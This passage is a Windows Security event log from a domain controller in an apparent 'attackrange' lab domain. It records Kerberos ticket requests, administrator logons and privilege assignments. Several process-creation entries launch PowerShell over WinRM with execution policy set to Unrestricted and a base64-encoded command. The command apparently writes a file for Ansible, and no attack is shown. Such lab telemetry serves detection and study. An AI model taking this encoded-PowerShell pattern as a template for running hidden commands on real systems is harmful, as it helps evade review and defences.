0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251365 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1327AD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251364 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1327AD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251363 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251362 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251361 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251360 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11ac - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADgALgA0ADUAOQAyADQALQA1ADkAOAAzADcANAA3ADYAOQAzADYAOAA5ADYAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251359 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11ac - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADgALgA0ADUAOQAyADQALQA1ADkAOAAzADcANAA3ADYAOQAzADYAOAA5ADYAXABzAG8AdQByAGMAZQAnAAoAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAEMAbwBuAHQAaQBuAHUAZQAiAAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAdABvAHAAIgAKAFMAZQB0AC0AUwB0AHIAaQBjAHQATQBvAGQAZQAgAC0AVgBlAHIAcwBpAG8AbgAgADIACgAkAGYAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBDAHIAZQBhAHQAZQAoACQAcABhAHQAaAApAAoAJABzAGgAYQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFMASABBADEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAXQA6ADoAQwByAGUAYQB0AGUAKAApAAoAJABiAHkAdABlAHMAIAA9ACAAQAAoACkAIAAjAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABmAG8AcgAgAGUAbQBwAHQAeQAgAGYAaQBsAGUAIABjAGEAcwBlAAoAfQAKAHAAcgBvAGMAZQBzAHMAIAB7AAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaQBuAHAAdQB0ACkACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAsACAAJABiAHkAdABlAHMALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGYAZAAuAFcAcgBpAHQAZQAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkACgB9AAoAZQBuAGQAIAB7AAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABoAGEAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBCAGkAdABDAG8AbgB2AGUAcgB0AGUAcgBdADoAOgBUAG8AUwB0AHIAaQBuAGcAKAAkAHMAaABhADEALgBIAGEAcwBoACkALgBSAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAIgApAC4AVABvAEwAbwB3AGUAcgBJAG4AdgBhAHIAaQBhAG4AdAAoACkACgAkAGYAZAAuAEMAbABvAHMAZQAoACkACgBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAewAiACIAcwBoAGEAMQAiACIAOgAiACIAJABoAGEAcwBoACIAIgB9ACIACgB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251358 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x132587 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251357 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x132587 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251356 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251355 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251354 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251353 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13256B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251352 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13256B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251351 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13256B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251350 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251349 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {1CCAE5E8-05DD-8020-C324-71B138D4B566} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251348 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251347 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130E65 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251346 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x112c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1308 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 